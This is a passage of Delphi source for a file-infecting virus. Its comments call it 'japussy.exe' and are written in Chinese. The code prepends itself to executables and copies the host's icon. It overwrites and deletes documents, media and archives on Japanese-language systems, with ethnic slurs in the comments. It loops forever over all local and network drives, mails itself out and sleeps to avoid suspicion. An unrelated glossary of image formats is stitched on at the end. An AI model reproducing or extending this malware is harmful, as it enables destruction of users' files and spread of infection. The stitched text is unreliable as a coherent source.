if (buf[0] = #80) and (buf[1] = #69) then //pe标记
begin
ispe := true; //是pe文件
break;
end;
end;
srcstream.seek(-4, sofromend); //检查感染标记
srcstream.read(iid, 4);
if (iid = id) or (srcstream.size < 10240) then //太小的文件不感染
infected := true;
finally
srcstream.free;
end;
if infected or (not ispe) then //如果感染过了或不是pe文件则退出
exit;
icostream := tmemorystream.create;
dststream := tmemorystream.create;
try
aicon := ticon.create;
try
//得到被感染文件的主图标(744字节),存入流
aicon.releasehandle;
aicon.handle := extracticon(hinstance, pchar(filename), 0);
aicon.savetostream(icostream);
finally
aicon.free;
end;
srcstream := tfilestream.create(filename, fmopenread);
//头文件
hdrstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
try
//写入病毒体主图标之前的数据
copystream(hdrstream, 0, dststream, 0, iconoffset);
//写入目前程序的主图标
copystream(icostream, 22, dststream, iconoffset, iconsize);
//写入病毒体主图标到病毒体尾部之间的数据
copystream(hdrstream, icontail, dststream, icontail, headersize - icontail);
//写入宿主程序
copystream(srcstream, 0, dststream, headersize, srcstream.size);
//写入已感染的标记
dststream.seek(0, 2);
iid := $44444444;
dststream.write(iid, 4);
finally
hdrstream.free;
end;
finally
srcstream.free;
icostream.free;
dststream.savetofile(filename); //替换宿主文件
dststream.free;
end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure smashfile(filename: string);
var
filehandle: integer;
i, size, mass, max, len: integer;
begin
try
setfileattributes(pchar(filename), 0); //去掉只读属性
filehandle := fileopen(filename, fmopenwrite); //打开文件
try
size := getfilesize(filehandle, nil); //文件大小
i := 0;
randomize;
max := random(15); //写入垃圾码的随机次数
if max < 5 then
max := 5;
mass := size div max; //每个间隔块的大小
len := length(catchword);
while i < max do
begin
fileseek(filehandle, i * mass, 0); //定位
//写入垃圾码,将文件彻底破坏掉
filewrite(filehandle, catchword, len);
inc(i);
end;
finally
fileclose(filehandle); //关闭文件
end;
deletefile(pchar(filename)); //删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function getdrives: string;
var
disktype: word;
d: char;
str: string;
i: integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
d := chr(i + 65);
str := d + ':';
disktype := getdrivetype(pchar(str));
//得到本地磁盘和网络盘
if (disktype = drive_fixed) or (disktype = drive_remote) then
result := result + d;
end;
end;
{ 遍历目录,感染和摧毁文件 }
procedure loopfiles(path, mask: string);
var
i, count: integer;
fn, ext: string;
subdir: tstrings;
searchrec: tsearchrec;
msg: tmsg;
function isvaliddir(searchrec: tsearchrec): integer;
begin
if (searchrec.attr <> 16) and (searchrec.name <> '.') and
(searchrec.name <> '..') then
result := 0 //不是目录
else if (searchrec.attr = 16) and (searchrec.name <> '.') and
(searchrec.name <> '..') then
result := 1 //不是根目录
else result := 2; //是根目录
end;
begin
if (findfirst(path + mask, faanyfile, searchrec) = 0) then
begin
repeat
peekmessage(msg, 0, 0, 0, pm_remove); //调整消息队列,避免引起怀疑
if isvaliddir(searchrec) = 0 then
begin
fn := path + searchrec.name;
ext := uppercase(extractfileext(fn));
if (ext = '.exe') or (ext = '.scr') then
begin
infectonefile(fn); //感染可执行文件
end
else if (ext = '.htm') or (ext = '.html') or (ext = '.asp') then
begin
//感染html和asp文件,将base64编码后的病毒写入
//感染浏览此网页的所有用户
end
else if ext = '.wab' then //outlook地址簿文件
begin
//获取outlook邮件地址
end
else if ext = '.adc' then //foxmail地址自动完成文件
begin
//获取foxmail邮件地址
end
else if ext = 'ind' then //foxmail地址簿文件
begin
//获取foxmail邮件地址
end
else
begin
if isjap then //是倭文操作系统
begin
if (ext = '.doc') or (ext = '.xls') or (ext = '.mdb') or
(ext = '.mp3') or (ext = '.rm') or (ext = '.ra') or
(ext = '.wma') or (ext = '.zip') or (ext = '.rar') or
(ext = '.mpeg') or (ext = '.asf') or (ext = '.jpg') or
(ext = '.jpeg') or (ext = '.gif') or (ext = '.swf') or
(ext = '.pdf') or (ext = '.chm') or (ext = '.avi') then
smashfile(fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒,避免cpu占用率过高引起怀疑
sleep(200);
until (findnext(searchrec) <> 0);
end;
findclose(searchrec);
subdir := tstringlist.create;
if (findfirst(path + '*.*', fadirectory, searchrec) = 0) then
begin
repeat
if isvaliddir(searchrec) = 1 then
subdir.add(searchrec.name);
until (findnext(searchrec) <> 0);
end;
findclose(searchrec);
count := subdir.count - 1;
for i := 0 to count do
loopfiles(path + subdir.strings[i] + '', mask);
freeandnil(subdir);
end;
{ 遍历磁盘上所有的文件 }
procedure infectfiles;
var
driverlist: string;
i, len: integer;
begin
if getacp = 932 then //日文操作系统
isjap := true; //去死吧!
driverlist := getdrives; //得到可写的磁盘列表
len := length(driverlist);
while true do //死循环
begin
for i := len downto 1 do //遍历每个磁盘驱动器
loopfiles(driverlist[i] + ':', '*.*'); //感染之
sendmail; //发带毒邮件
sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if iswin9x then //是win9x
registerserviceprocess(getcurrentprocessid, 1) //注册为服务进程
else //winnt
begin
//远程线程映射到explorer进程
//哪位兄台愿意完成之?
end;
//如果是原始病毒体自己
if comparetext(extractfilename(paramstr(0)), 'japussy.exe') = 0 then
infectfiles //感染和发邮件
else //已寄生于宿主程序上了,开始工作
begin
tmpfile := paramstr(0); //创建临时文件
delete(tmpfile, length(tmpfile) - 4, 4);
tmpfile := tmpfile + #32 + '.exe'; //真正的宿主文件,多一个空格
extractfile(tmpfile); //分离之
fillstartupinfo(si, sw_showdefault);
createprocess(pchar(tmpfile), pchar(tmpfile), nil, nil, true,
0, nil, '.', si, pi); //创建新进程运行之
infectfiles; //感染和发邮件
end;
end.
帮忙txt、ai、bmp、eps、gif、jpg、swf、pdf、png、...

txt: 文本文件
ai: illustrator矢量图
bmp:windows系统下的标准位图格式,使用很普遍。其结构简单,未经过压缩,一般图像文件会比较大。它最大的好处就是能被大多数软件“接受”,可称为通用格式。
jpeg:也是应用最广泛的图片格式之一,它采用一种特殊的有损压缩算法,将不易被人眼察觉的图像颜色删除,从而达到较大的压缩比(可达到2:1甚至40:1),所以“身材娇小,容貌姣好”,特别受网络青睐。
gif:分为静态gif和动画gif两种,支持透明背景图像,适用于多种操作系统,“体型”很小,网上很多小动画都是gif格式。其实gif是将多幅图像保存为一个图像文件,从而形成动画,所以归根到底gif仍然是图片文件格式。
psd:图像处理软件“大哥大”photoshop的专用图像格式,图像文件一般较大。
pcx:zsoft公司在开发图像处理软件paintbrush时开发的一种格式,存储格式从1位到24位。它是经过压缩的格式,占用磁盘空间较少,并具有压缩及全彩色的优点。
png:与jpg格式类似,网页中有很多图片都是这种格式,压缩比高于gif,支持图像透明,可以利用alpha通道调节图像的透明度。
dxf:三维模型设计软件autocad的专用格式,文件小,所绘制的图形尺寸、角度等数据十分准确,是建筑设计的首选。
cdr:著名的图形设计软件――coreldraw的专用格式,属于矢量图像,最大的优点“体重”很轻,便于再处理。